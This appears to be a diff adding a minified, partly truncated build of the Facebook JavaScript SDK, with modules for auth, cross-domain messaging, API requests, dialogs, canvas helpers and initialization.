+__d("DOMWrapper",[],function(a,b,c,d,e,f){var g,h,i={setRoot:function(j){g=j;},getRoot:function(){return g||document.body;},setWindow:function(j){h=j;},getWindow:function(){return h||self;}};e.exports=i;});
+__d("UserAgent",[],function(a,b,c,d,e,f){var g=false,h,i,j,k,l,m,n,o,p,q,r,s,t,u;function v(){if(g)return;g=true;var x=navigator.userAgent,y=/(?:MSIE.(\d+\.\d+))|(?:(?:Firefox|GranParadiso|Iceweasel).(\d+\.\d+))|(?:Opera(?:.+Version.|.)(\d+\.\d+))|(?:AppleWebKit.(\d+(?:\.\d+)?))/.exec(x),z=/(Mac OS X)|(Windows)|(Linux)/.exec(x);r=/\b(iPhone|iP[ao]d)/.exec(x);s=/\b(iP[ao]d)/.exec(x);p=/Android/i.exec(x);t=/FBAN\/\w+;/i.exec(x);u=/Mobile/i.exec(x);q=!!(/Win64/.exec(x));if(y){h=y[1]?parseFl [...]
+__d("sdk.getContextType",["UserAgent","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Runtime');function i(){if(g.nativeApp())return 3;if(g.mobile())return 2;if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))return 5;return 1;}e.exports=i;});
+__d("Log",["sprintf"],function(a,b,c,d,e,f){var g=b('sprintf'),h={DEBUG:3,INFO:2,WARNING:1,ERROR:0};function i(k,l){var m=Array.prototype.slice.call(arguments,2),n=g.apply(null,m),o=window.console;if(o&&j.level>=k)o[l in o?l:'log'](n);}var j={level:-1,Level:h,debug:ES5(i,'bind',true,null,h.DEBUG,'debug'),info:ES5(i,'bind',true,null,h.INFO,'debug'),warn:ES5(i,'bind',true,null,h.WARNING,'debug'),error:ES5(i,'bind',true,null,h.ERROR,'debug')};e.exports=j;});
+__d("Base64",[],function(a,b,c,d,e,f){var g='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';function h(l){l=(l.charCodeAt(0)<<16)|(l.charCodeAt(1)<<8)|l.charCodeAt(2);return String.fromCharCode(g.charCodeAt(l>>>18),g.charCodeAt((l>>>12)&63),g.charCodeAt((l>>>6)&63),g.charCodeAt(l&63));}var i='>___?456789:;<=_______'+'\0\1\2\3\4\5\6\7\b\t\n\13\f\r\16\17\20\21\22\23\24\25\26\27\30\31'+'______\32\33\34\35\36\37 !"#$%&\'()*+,-./0123';function j(l){l=(i.charCodeAt(l.charCod [...]
+__d("sdk.SignedRequest",["Base64"],function(a,b,c,d,e,f){var g=b('Base64');function h(j){if(!j)return null;var k=j.split('.',2)[1].replace(/\-/g,'+').replace(/\_/g,'/');return g.decodeObject(k);}var i={parse:h};e.exports=i;});
+__d("UrlMap",["UrlMapConfig"],function(a,b,c,d,e,f){var g=b('UrlMapConfig'),h={resolve:function(i,j){var k=typeof j=='undefined'?location.protocol.replace(':',''):j?'https':'http';if(i in g)return k+'://'+g[i];if(typeof j=='undefined'&&i+'_'+k in g)return k+'://'+g[i+'_'+k];if(j!==true&&i+'_http' in g)return 'http://'+g[i+'_http'];if(j!==false&&i+'_https' in g)return 'https://'+g[i+'_https'];}};e.exports=h;});
+__d("URL",["Assert","copyProperties","QueryString","Log"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('QueryString'),j=b('Log'),k=new RegExp('('+'(((\\w+):)?//)'+'(.*?@)?'+'([^~/?#:]+)'+'(:(\\d+))?'+')?'+'([^\\?$#]+)?'+'(\\?([^$#]+))?'+'(#([^$]+))?'),l=/[\0\\]/,m=/[^\w\-\.,;\/?:@=&%#$~+!*'\[\]()]+/g,n=/^[a-z0-9.][a-z0-9\-\.]+[a-z0-9.]$/,o=/\.facebook\.com$/;function p(q){g.isString(q,'The passed argument was of invalid type.');if(l.test(q))throw new URIError('The pa [...]
+__d("sdk.domReady",[],function(a,b,c,d,e,f){var g,h="readyState" in document?/loaded|complete/.test(document.readyState):!!document.body;function i(){if(!g)return;var l;while(l=g.shift())l();g=null;}function j(l){if(g){g.push(l);return;}else l();}if(!h){g=[];if(document.addEventListener){document.addEventListener('DOMContentLoaded',i,false);window.addEventListener('load',i,false);}else if(document.attachEvent){document.attachEvent('onreadystatechange',i);window.attachEvent('onload',i);}i [...]
+__d("sdk.Content",["sdk.domReady","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.domReady'),h=b('Log'),i=b('UserAgent'),j,k,l={append:function(m,n){if(!n)if(!j){j=n=document.getElementById('fb-root');if(!n){h.warn('The "fb-root" div has not been created, auto-creating');j=n=document.createElement('div');n.id='fb-root';if(i.ie()||!document.body){g(function(){document.body.appendChild(n);});}else document.body.appendChild(n);}n.className+=' fb_reset';}else n=j;if(typeof m=='string') [...]
+__d("sdk.Event",[],function(a,b,c,d,e,f){var g={subscribers:function(){if(!this._subscribersMap)this._subscribersMap={};return this._subscribersMap;},subscribe:function(h,i){var j=this.subscribers();if(!j[h]){j[h]=[i];}else j[h].push(i);},unsubscribe:function(h,i){var j=this.subscribers()[h];if(j)ES5(j,'forEach',true,function(k,l){if(k==i)j[l]=null;});},monitor:function(h,i){if(!i()){var j=this,k=function(){if(i.apply(i,arguments))j.unsubscribe(h,k);};this.subscribe(h,k);}},clear:functio [...]
+__d("Queue",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties'),h={};function i(j){this._opts=g({interval:0,processor:null},j);this._queue=[];this._stopped=true;}g(i.prototype,{_dispatch:function(j){if(this._stopped||this._queue.length===0)return;if(!this._opts.processor){this._stopped=true;throw new Error('No processor available');}if(this._opts.interval){this._opts.processor.call(this,this._queue.shift());this._timeout=setTimeout(ES5(this._dispatch,'bind',true,this),this [...]
+__d("resolveURI",[],function(a,b,c,d,e,f){function g(h){if(!h)return window.location.href;h=h.replace(/&/g,'&').replace(/"/g,'"');var i=document.createElement('div');i.innerHTML='<a href="'+h+'"></a>';return i.firstChild.href;}e.exports=g;});
+__d("resolveWindow",[],function(a,b,c,d,e,f){function g(h){var i=window,j=h.split('.');try{for(var l=0;l<j.length;l++){var m=j[l],n=/^frames\[['"]?([a-zA-Z0-9\-_]+)['"]?\]$/.exec(m);if(n){i=i.frames[n[1]];}else if(m==='opener'||m==='parent'||m==='top'){i=i[m];}else return null;}}catch(k){return null;}return i;}e.exports=g;});
+__d("JSONRPC",["copyProperties","Log"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log');function i(j){this._counter=0;this._callbacks={};this.remote={};this.local={};this._write=j;}g(i.prototype,{stub:function(j){this.remote[j]=ES5(function(){var k=Array.prototype.slice.call(arguments),l={jsonrpc:'2.0',method:j};if(typeof k[k.length-1]=='function'){l.id=++this._counter;this._callbacks[l.id]=k.pop();}l.params=k;this._write(ES5('JSON','stringify',false,l),{method:j});},'bind',tru [...]
+__d("sdk.RPC",["Assert","JSONRPC","Queue"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('JSONRPC'),i=b('Queue'),j=new i(),k=new h(function(m){j.enqueue(m);}),l={local:k.local,remote:k.remote,stub:ES5(k.stub,'bind',true,k),setInQueue:function(m){g.isInstanceOf(i,m);m.start(function(n){k.read(n);});},getOutQueue:function(){return j;}};e.exports=l;});
+__d("emptyFunction",["copyProperties"],function(a,b,c,d,e,f){var g=b('copyProperties');function h(j){return function(){return j;};}function i(){}g(i,{thatReturns:h,thatReturnsFalse:h(false),thatReturnsTrue:h(true),thatReturnsNull:h(null),thatReturnsThis:function(){return this;},thatReturnsArgument:function(j){return j;}});e.exports=i;});
+__d("Flash",["DOMWrapper","QueryString","UserAgent","copyProperties","guid"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('QueryString'),i=b('UserAgent'),j=b('copyProperties'),k=b('guid'),l={},m,n=g.getWindow().document;function o(t){var u=n.getElementById(t);if(u)u.parentNode.removeChild(u);delete l[t];}function p(){for(var t in l)if(l.hasOwnProperty(t))o(t);}function q(t){return t.replace(/\d+/g,function(u){return '000'.substring(u.length)+u;});}function r(t){if(!m){if(i.ie()>=9)win [...]
+__d("XDM",["DOMEventListener","DOMWrapper","emptyFunction","Flash","guid","Log","UserAgent","wrapFunction"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h=b('DOMWrapper'),i=b('emptyFunction'),j=b('Flash'),k=b('guid'),l=b('Log'),m=b('UserAgent'),n=b('wrapFunction'),o={},p={transports:[]},q=h.getWindow();function r(t){var u={},v=t.length,w=p.transports;while(v--)u[t[v]]=1;v=w.length;while(v--){var x=w[v],y=o[x];if(!u[x]&&y.isAvailable())return x;}}var s={register:function(t,u){l.debug [...]
+__d("sdk.XD",["sdk.Content","sdk.createIframe","sdk.Event","guid","Log","QueryString","Queue","resolveURI","resolveWindow","sdk.RPC","sdk.Runtime","UrlMap","URL","wrapFunction","XDM","XDConfig"],function(a,b,c,d,e,f){var g=b('sdk.Content'),h=b('sdk.createIframe'),i=b('sdk.Event'),j=b('guid'),k=b('Log'),l=b('QueryString'),m=b('Queue'),n=b('resolveURI'),o=b('resolveWindow'),p=b('sdk.RPC'),q=b('sdk.Runtime'),r=b('UrlMap'),s=b('URL'),t=b('wrapFunction'),u=c('XDConfig'),v=b('XDM'),w=new m(),x [...]
+__d("sdk.Auth",["sdk.Cookie","copyProperties","sdk.createIframe","DOMWrapper","sdk.getContextType","guid","Log","ObservableMixin","QueryString","sdk.Runtime","sdk.SignedRequest","UrlMap","URL","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('sdk.createIframe'),j=b('DOMWrapper'),k=b('sdk.getContextType'),l=b('guid'),m=b('Log'),n=b('ObservableMixin'),o=b('QueryString'),p=b('sdk.Runtime'),q=b('sdk.SignedRequest'),r=b('UrlMap'),s=b('URL'),t=b('sdk.XD'),u,v,w=n [...]
+__d("dotAccess",[],function(a,b,c,d,e,f){function g(h,i,j){var k=i.split('.');do{var l=k.shift();h=h[l]||j&&(h[l]={});}while(k.length&&h);return h;}e.exports=g;});
+__d("hasArrayNature",[],function(a,b,c,d,e,f){function g(h){return (!!h&&(typeof h=='object'||typeof h=='function')&&('length' in h)&&!('setInterval' in h)&&(Object.prototype.toString.call(h)==="[object Array]"||('callee' in h)||('item' in h)));}e.exports=g;});
+__d("createArrayFrom",["hasArrayNature"],function(a,b,c,d,e,f){var g=b('hasArrayNature');function h(i){if(!g(i))return [i];if(i.item){var j=i.length,k=new Array(j);while(j--)k[j]=i[j];return k;}return Array.prototype.slice.call(i);}e.exports=h;});
+__d("sdk.DOM",["Assert","createArrayFrom","sdk.domReady","UserAgent"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('createArrayFrom'),i=b('sdk.domReady'),j=b('UserAgent'),k={};function l(z,aa){var ba=(z.getAttribute(aa)||z.getAttribute(aa.replace(/_/g,'-'))||z.getAttribute(aa.replace(/-/g,'_'))||z.getAttribute(aa.replace(/-/g,''))||z.getAttribute(aa.replace(/_/g,''))||z.getAttribute('data-'+aa)||z.getAttribute('data-'+aa.replace(/_/g,'-'))||z.getAttribute('data-'+aa.replace(/-/g,'_'))||z. [...]
+__d("sdk.Scribe",["UrlMap","QueryString"],function(a,b,c,d,e,f){var g=b('UrlMap'),h=b('QueryString');function i(k,l){(new Image()).src=h.appendToUrl(g.resolve('www',true)+'/common/scribe_endpoint.php',{c:k,m:ES5('JSON','stringify',false,l)});}var j={log:i};e.exports=j;});
+__d("sdk.ErrorHandling",["UserAgent","sdk.Scribe","sdk.Runtime","wrapFunction","ManagedError","SDKConfig"],function(a,b,c,d,e,f){var g=b('UserAgent'),h=b('sdk.Scribe'),i=c('SDKConfig'),j=b('sdk.Runtime'),k=b('wrapFunction'),l=b('ManagedError'),m=false,n='';function o(v){var w=v._originalError;delete v._originalError;h.log('jssdk_error',{appId:j.getClientID(),error:v.name||v.message,extra:v});throw w;}function p(v){var w={line:v.lineNumber||v.line,message:v.message,name:v.name,script:v.fi [...]
+__d("GlobalCallback",["wrapFunction","dotAccess"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('dotAccess'),i,j,k=0,l={setPrefix:function(m){i=h(window,m,true);j=m;},create:function(m){if(!i)this.setPrefix('window.__globalCallbacks');var n='__gcb'+(++k);i[n]=g(m,'entry','GlobalCallback');return j+'.'+n;},remove:function(m){var n=m.substring(j.length+1);delete i[n];}};e.exports=l;});
+__d("sdk.Impressions",["guid","QueryString","sdk.Runtime","UrlMap"],function(a,b,c,d,e,f){var g=b('guid'),h=b('QueryString'),i=b('sdk.Runtime'),j=b('UrlMap');function k(m){var n=i.getClientID();if(!m.api_key&&n)m.api_key=n;var o=new Image();o.src=h.appendToUrl(j.resolve('www',true)+'/impression.php/'+g()+'/',m);}var l={log:function(m,n){if(!n.source)n.source='jssdk';k({lid:m,payload:ES5('JSON','stringify',false,n)});},impression:k};e.exports=l;});
+__d("sdk.Insights",["sdk.Impressions"],function(a,b,c,d,e,f){var g=b('sdk.Impressions'),h={TYPE:{NOTICE:'notice',WARNING:'warn',ERROR:'error'},CATEGORY:{DEPRECATED:'deprecated',APIERROR:'apierror'},log:function(i,j,k){var l={source:'jssdk',type:i,category:j,payload:k};g.log(113,l);},impression:g.impression};e.exports=h;});
+__d("FB",["sdk.Auth","copyProperties","dotAccess","sdk.domReady","sdk.DOM","sdk.ErrorHandling","sdk.Content","DOMWrapper","GlobalCallback","sdk.Insights","Log","sdk.Runtime","sdk.Scribe","CssConfig","SDKConfig"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('copyProperties'),i=c('CssConfig'),j=b('dotAccess'),k=b('sdk.domReady'),l=b('sdk.DOM'),m=b('sdk.ErrorHandling'),n=b('sdk.Content'),o=b('DOMWrapper'),p=b('GlobalCallback'),q=b('sdk.Insights'),r=b('Log'),s=b('sdk.Runtime'),t=b('sdk.Scri [...]
+__d("flattenObject",[],function(a,b,c,d,e,f){function g(h){var i={};for(var j in h)if(h.hasOwnProperty(j)){var k=h[j];if(null===k||undefined===k){continue;}else if(typeof k=='string'){i[j]=k;}else i[j]=ES5('JSON','stringify',false,k);}return i;}e.exports=g;});
+__d("CORSRequest",["wrapFunction","QueryString"],function(a,b,c,d,e,f){var g=b('wrapFunction'),h=b('QueryString');function i(l,m){if(!self.XMLHttpRequest)return null;var n=new XMLHttpRequest(),o=function(){};if('withCredentials' in n){n.open(l,m,true);n.setRequestHeader('Content-type','application/x-www-form-urlencoded');}else if(self.XDomainRequest){n=new XDomainRequest();try{n.open(l,m);n.onprogress=n.ontimeout=o;}catch(p){return null;}}else return null;var q={send:function(t){n.send(t [...]
+__d("FlashRequest",["DOMWrapper","Flash","GlobalCallback","QueryString","Queue"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('Flash'),i=b('GlobalCallback'),j=b('QueryString'),k=b('Queue'),l,m={},n,o;function p(){if(!n)throw new Error('swfUrl has not been set');var s=i.create(function(){l.start(function(u){var v=o.execute(u.method,u.url,u.body);if(!v)throw new Error('Could create request');m[v]=u.callback;});}),t=i.create(function(u,v,w){var x;try{x=ES5('JSON','parse',false,decodeURIC [...]
+__d("JSONPRequest",["DOMWrapper","GlobalCallback","QueryString"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('GlobalCallback'),i=b('QueryString');function j(l,m,n,o){var p=document.createElement('script'),q=function(s){q=function(){};h.remove(n.callback);o(s);p.parentNode.removeChild(p);};n.callback=h.create(q);if(!n.method)n.method=m;l=i.appendToUrl(l,n);if(l.length>2000){h.remove(n.callback);return false;}p.onerror=function(){q({error:{type:'http',message:'unknown error'}});};var r [...]
+__d("ArgumentError",["ManagedError"],function(a,b,c,d,e,f){var g=b('ManagedError');function h(i,j){g.prototype.constructor.apply(this,arguments);}h.prototype=new g();h.prototype.constructor=h;e.exports=h;});
+__d("ApiClient",["copyProperties","flattenObject","sprintf","CORSRequest","FlashRequest","JSONPRequest","Log","UrlMap","URL","ArgumentError","Assert","ApiClientConfig"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('flattenObject'),i=b('sprintf'),j=b('CORSRequest'),k=b('FlashRequest'),l=b('JSONPRequest'),m=b('Log'),n=b('UrlMap'),o=b('URL'),p=b('ArgumentError'),q=b('Assert'),r=b('ApiClientConfig'),s,t,u,v,w={get:true,post:true,'delete':true,put:true},x={fql_query:true,fql_multiquery [...]
+__d("sdk.api",["ApiClient","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('ApiClient'),h=b('sdk.Runtime'),i;h.subscribe('ClientID.change',function(k){g.setClientID(k);});h.subscribe('AccessToken.change',function(k){i=k;g.setAccessToken(k);});g.setDefaultParams({sdk:'joey'});g.setInvalidAccessTokenHandler(function(){if(i===h.getAccessToken())h.setAccessToken(null);});function j(){if(typeof arguments[0]==='string'){g.graph.apply(g,arguments);}else g.rest.apply(g,arguments);}e.exports=j;});
+__d("legacy:fb.api",["FB","sdk.api"],function(a,b,c,d){var e=b('FB'),f=b('sdk.api');e.provide('',{api:f});},3);
+__d("sdk.Canvas.Environment",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(k){g.remote.getPageInfo(function(l){k(l.result);});}function i(k,l){g.remote.scrollTo({x:k||0,y:l||0});}g.stub('getPageInfo');g.stub('scrollTo');var j={getPageInfo:h,scrollTo:i};e.exports=j;});
+__d("sdk.Intl",["Log"],function(a,b,c,d,e,f){var g=b('Log'),h=('['+'.!?'+'\u3002'+'\uFF01'+'\uFF1F'+'\u0964'+'\u2026'+'\u0EAF'+'\u1801'+'\u0E2F'+'\uFF0E'+']');function i(l){if(typeof l!='string')return false;return !!l.match(new RegExp(h+'['+')"'+"'"+'\u00BB'+'\u0F3B'+'\u0F3D'+'\u2019'+'\u201D'+'\u203A'+'\u3009'+'\u300B'+'\u300D'+'\u300F'+'\u3011'+'\u3015'+'\u3017'+'\u3019'+'\u301B'+'\u301E'+'\u301F'+'\uFD3F'+'\uFF07'+'\uFF09'+'\uFF3D'+'\\s'+']*$'));}function j(l,m){if(m!==undefined)if(t [...]
+__d("sdk.Dialog",["sdk.Canvas.Environment","sdk.Content","sdk.DOM","DOMEventListener","sdk.Intl","ObservableMixin","sdk.Runtime","Type","UserAgent"],function(a,b,c,d,e,f){var g=b('sdk.Canvas.Environment'),h=b('sdk.Content'),i=b('sdk.DOM'),j=b('DOMEventListener'),k=b('sdk.Intl'),l=b('ObservableMixin'),m=b('sdk.Runtime'),n=b('Type'),o=b('UserAgent'),p=n.extend({constructor:function(r,s){this.parent();this.id=r;this.display=s;if(!q._dialogs){q._dialogs={};q._addOrientationHandler();}q._dial [...]
+__d("sdk.Frictionless",["sdk.Auth","sdk.api","sdk.Event","sdk.Dialog"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.api'),i=b('sdk.Event'),j=b('sdk.Dialog'),k={_allowedRecipients:{},_useFrictionless:false,_updateRecipients:function(){k._allowedRecipients={};h('/me/apprequestformerrecipients',function(l){if(!l||l.error)return;ES5(l.data,'forEach',true,function(m){k._allowedRecipients[m.recipient_id]=true;});});},init:function(){k._useFrictionless=true;g.getLoginStatus(function(l){if [...]
+__d("insertIframe",["guid","GlobalCallback"],function(a,b,c,d,e,f){var g=b('guid'),h=b('GlobalCallback');function i(j){j.id=j.id||g();j.name=j.name||g();var k=false,l=false,m=function(){if(k&&!l){l=true;j.onload&&j.onload(j.root.firstChild);}},n=h.create(m);if(document.attachEvent){var o=('<iframe'+' id="'+j.id+'"'+' name="'+j.name+'"'+(j.title?' title="'+j.title+'"':'')+(j.className?' class="'+j.className+'"':'')+' style="border:none;'+(j.width?'width:'+j.width+'px;':'')+(j.height?'heig [...]
+__d("sdk.Native",["copyProperties","Log","UserAgent"],function(a,b,c,d,e,f){var g=b('copyProperties'),h=b('Log'),i=b('UserAgent'),j='fbNativeReady',k={onready:function(l){if(!i.nativeApp()){h.error('FB.Native.onready only works when the page is rendered '+'in a WebView of the native Facebook app. Test if this is the '+'case calling FB.UA.nativeApp()');return;}if(window.__fbNative&&!this.nativeReady)g(this,window.__fbNative);if(this.nativeReady){l();}else{var m=function(n){window.removeEv [...]
+__d("sdk.UIServer",["sdk.Auth","sdk.Content","copyProperties","sdk.Dialog","sdk.DOM","sdk.Event","flattenObject","sdk.Frictionless","sdk.getContextType","guid","insertIframe","Log","sdk.Native","QueryString","resolveURI","sdk.RPC","sdk.Runtime","UrlMap","UserAgent","sdk.XD"],function(a,b,c,d,e,f){var g=b('sdk.Auth'),h=b('sdk.Content'),i=b('copyProperties'),j=b('sdk.Dialog'),k=b('sdk.DOM'),l=b('sdk.Event'),m=b('flattenObject'),n=b('sdk.Frictionless'),o=b('sdk.getContextType'),p=b('guid'), [...]
+__d("sdk.ui",["Assert","copyProperties","Log","sdk.Runtime","sdk.UIServer","SDKConfig"],function(a,b,c,d,e,f){var g=b('Assert'),h=b('copyProperties'),i=b('Log'),j=b('sdk.Runtime'),k=c('SDKConfig'),l=b('sdk.UIServer');function m(n,o){g.isObject(n);g.maybeFunction(o);n=h({},n);if(!n.method){i.error('"method" is a required parameter for FB.ui().');return null;}if((n.method=='permissions.request'||n.method=='permissions.oauth')&&(n.display=='iframe'||n.display=='dialog')){var p='scope' in n? [...]
+__d("legacy:fb.auth",["sdk.Auth","sdk.Cookie","copyProperties","sdk.Event","FB","Log","sdk.Runtime","sdk.SignedRequest","sdk.ui"],function(a,b,c,d){var e=b('sdk.Auth'),f=b('sdk.Cookie'),g=b('copyProperties'),h=b('sdk.Event'),i=b('FB'),j=b('Log'),k=b('sdk.Runtime'),l=b('sdk.SignedRequest'),m=b('sdk.ui');i.provide('',{getLoginStatus:function(){return e.getLoginStatus.apply(e,arguments);},getAuthResponse:function(){return e.getAuthResponse();},getAccessToken:function(){return k.getAccessTok [...]
+__d("sdk.Canvas.Flash",["sdk.api","sdk.RPC","Log","sdk.Runtime","createArrayFrom"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.RPC'),i=b('Log'),j=b('sdk.Runtime'),k=b('createArrayFrom'),l='CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000',m=null;function n(r){r.style.visibility='hidden';}function o(r){r.style.visibility='';}function p(r){i.info('hideFlashCallback called with %s',r.state);var s=window.document.getElementsByTagName('object');ES5(k(s),'forEach',true,function(t){if(t.type.to [...]
+__d("sdk.Canvas.IframeHandling",["DOMWrapper","sdk.RPC"],function(a,b,c,d,e,f){var g=b('DOMWrapper'),h=b('sdk.RPC'),i=null,j;function k(){var o=g.getWindow().document,p=o.body,q=o.documentElement,r=Math.max(p.offsetTop,0),s=Math.max(q.offsetTop,0),t=p.scrollHeight+r,u=p.offsetHeight+r,v=q.scrollHeight+s,w=q.offsetHeight+s;return Math.max(t,u,v,w);}function l(o){if(typeof o!='object')o={};var p=0,q=0;if(!o.height){o.height=k();p=16;q=4;}if(!o.frame)o.frame=window.name||'iframe_canvas';if( [...]
+__d("sdk.Canvas.Navigation",["sdk.RPC"],function(a,b,c,d,e,f){var g=b('sdk.RPC');function h(j){g.local.navigate=function(k){j({path:k});};g.remote.setNavigationEnabled(true);}g.stub('setNavigationEnabled');var i={setUrlHandler:h};e.exports=i;});
+__d("sdk.Canvas.Tti",["sdk.RPC","sdk.Runtime"],function(a,b,c,d,e,f){var g=b('sdk.RPC'),h=b('sdk.Runtime');function i(n,o){var p={appId:h.getClientID(),time:ES5('Date','now',false),name:o},q=[p];if(n)q.push(function(r){n(r.result);});g.remote.logTtiMessage.apply(null,q);}function j(){i(null,'StartIframeAppTtiTimer');}function k(n){i(n,'StopIframeAppTtiTimer');}function l(n){i(n,'RecordIframeAppTti');}g.stub('logTtiMessage');var m={setDoneLoading:l,startTimer:j,stopTimer:k};e.exports=m;});
+__d("legacy:fb.canvas",["Assert","sdk.Canvas.Environment","sdk.Event","FB","sdk.Canvas.Flash","sdk.Canvas.IframeHandling","Log","sdk.Canvas.Navigation","sdk.Runtime","sdk.Canvas.Tti"],function(a,b,c,d){var e=b('Assert'),f=b('sdk.Canvas.Environment'),g=b('sdk.Event'),h=b('FB'),i=b('sdk.Canvas.Flash'),j=b('sdk.Canvas.IframeHandling'),k=b('Log'),l=b('sdk.Canvas.Navigation'),m=b('sdk.Runtime'),n=b('sdk.Canvas.Tti');h.provide('Canvas',{setSize:function(o){e.maybeObject(o,'Invalid argument');r [...]
+__d("sdk.Canvas.Prefetcher",["sdk.api","createArrayFrom","sdk.Runtime","CanvasPrefetcherConfig"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('createArrayFrom'),i=c('CanvasPrefetcherConfig'),j=b('sdk.Runtime'),k={AUTOMATIC:0,MANUAL:1},l=i.sampleRate,m=i.blacklist,n=k.AUTOMATIC,o=[];function p(){var u={object:'data',link:'href',script:'src'};if(n==k.AUTOMATIC)ES5(ES5('Object','keys',false,u),'forEach',true,function(v){var w=u[v];ES5(h(document.getElementsByTagName(v)),'forEach',true,funct [...]
+__d("legacy:fb.canvas.prefetcher",["FB","sdk.Canvas.Prefetcher","sdk.Event","sdk.Runtime"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Canvas.Prefetcher'),g=b('sdk.Event'),h=b('sdk.Runtime');e.provide('Canvas.Prefetcher',f);g.subscribe('init:post',function(i){if(h.isEnvironment(h.ENVIRONMENTS.CANVAS))f._maybeSample();});},3);
+__d("legacy:fb.compat.ui",["copyProperties","FB","Log","sdk.ui","sdk.UIServer"],function(a,b,c,d){var e=b('copyProperties'),f=b('FB'),g=b('Log'),h=b('sdk.ui'),i=b('sdk.UIServer');f.provide('',{share:function(j){g.error('share() has been deprecated. Please use FB.ui() instead.');h({display:'popup',method:'stream.share',u:j});},publish:function(j,k){g.error('publish() has been deprecated. Please use FB.ui() instead.');j=j||{};h(e({display:'popup',method:'stream.publish',preview:1},j||{}),k [...]
+__d("mergeArrays",[],function(a,b,c,d,e,f){function g(h,i){for(var j=0;j<i.length;j++)if(ES5(h,'indexOf',true,i[j])<0)h.push(i[j]);return h;}e.exports=g;});
+__d("format",[],function(a,b,c,d,e,f){function g(h,i){i=Array.prototype.slice.call(arguments,1);return h.replace(/\{(\d+)\}/g,function(j,k){var l=i[Number(k)];return (l===null||l===undefined)?'':l.toString();});}e.exports=g;});
+__d("safeEval",[],function(a,b,c,d,e,f){function g(h){if(h===null||typeof h==='undefined')return;if(typeof h!=='string')return h;return Function('return eval("'+h.replace(/"/g,'\\"')+'");')();}e.exports=g;});
+__d("sdk.Waitable",["sdk.Model"],function(a,b,c,d,e,f){var g=b('sdk.Model'),h=g.extend({constructor:function(){this.parent({Value:undefined});},error:function(i){this.inform("error",i);},wait:function(i,j){if(j)this.subscribe('error',j);this.monitor('Value.change',ES5(function(){var k=this.getValue();if(k!==undefined){this.value=k;i(k);return true;}},'bind',true,this));}});e.exports=h;});
+__d("sdk.Query",["format","safeEval","Type","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('format'),h=b('safeEval'),i=b('Type'),j=b('sdk.Waitable');function k(p){return ES5(p.split(','),'map',true,function(q){return ES5(q,'trim',true);});}function l(p){var q=(/^\s*(\w+)\s*=\s*(.*)\s*$/i).exec(p),r,s,t='unknown';if(q){s=q[2];if(/^(["'])(?:\\?.)*?\1$/.test(s)){s=h(s);t='index';}else if(/^\d+\.?\d*$/.test(s))t='index';}if(t=='index'){r={type:'index',key:q[1],value:s};}else r={type:'unknown' [...]
+__d("sdk.Data",["sdk.api","sdk.ErrorHandling","mergeArrays","sdk.Query","safeEval","sdk.Waitable"],function(a,b,c,d,e,f){var g=b('sdk.api'),h=b('sdk.ErrorHandling'),i=b('mergeArrays'),j=b('sdk.Query'),k=b('safeEval'),l=b('sdk.Waitable'),m={query:function(n,o){var p=new j().parse(Array.prototype.slice.call(arguments));m.queue.push(p);m._waitToProcess();return p;},waitOn:function(n,o){var p=new l(),q=n.length;if(typeof(o)=='string'){var r=o;o=h.unguard(function(){return k(r);});}ES5(n,'for [...]
+__d("legacy:fb.data",["FB","sdk.Data"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Data');e.provide('Data',f);},3);
+__d("legacy:fb.event",["FB","sdk.Event"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Event');e.provide('Event',f);e.provide('EventProvider',f);},3);
+__d("legacy:fb.frictionless",["FB","sdk.Frictionless"],function(a,b,c,d){var e=b('FB'),f=b('sdk.Frictionless');e.provide('Frictionless',f);},3);
+__d("sdk.init",["sdk.Cookie","copyProperties","createArrayFrom","sdk.ErrorHandling","sdk.Event","Log","QueryString","sdk.Runtime","wrapFunction"],function(a,b,c,d,e,f){var g=b('sdk.Cookie'),h=b('copyProperties'),i=b('createArrayFrom'),j=b('sdk.ErrorHandling'),k=b('sdk.Event'),l=b('Log'),m=b('QueryString'),n=b('sdk.Runtime'),o=b('wrapFunction');function p(q){if(n.getInitialized())l.warn('FB.init has already been called - this could indicate a problem');if(/number|string/.test(typeof q)){l [...]
+__d("legacy:fb.init",["FB","sdk.init"],function(a,b,c,d){var e=b('FB'),f=b('sdk.init');e.provide('',{init:f});},3);
+__d("legacy:fb.json",["FB","ManagedError"],function(a,b,c,d){var e=b('FB'),f=b('ManagedError');e.provide('JSON',{stringify:function(g){try{return ES5('JSON','stringify',false,g);}catch(h){throw new f(h.message,h);}},parse:function(g){try{return ES5('JSON','parse',false,g);}catch(h){throw new f(h.message,h);}}});},3);
